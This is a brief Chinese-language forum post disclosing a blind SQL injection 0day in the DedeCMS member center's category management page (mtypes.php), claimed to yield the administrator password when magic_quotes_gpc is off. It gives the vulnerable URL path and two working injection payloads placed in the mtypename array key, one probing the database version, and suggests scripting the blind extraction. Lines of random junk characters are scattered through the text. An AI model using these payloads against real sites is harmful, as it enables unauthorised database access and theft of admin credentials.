DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
$ q0 s! O1 h$ ~: Y2 r& e$ z/ t+ D
' s( F. ?3 ^4 k
& }2 V9 j) A! }3 ]2 ]发生在数组key里的注射漏洞,有点意思.
2 o+ Y+ b2 g5 \1 ^
/ v/ s" _$ t3 i# X+ A; q这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

9 H& C: {5 h& A" W# o& ~) q4 B+ khttp://www.xxx.com /dede/member/mtypes.php?dopost=save
+ y) t9 D3 E7 o3 y
exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
/ o; w- X1 {- j  C/ D7 L  @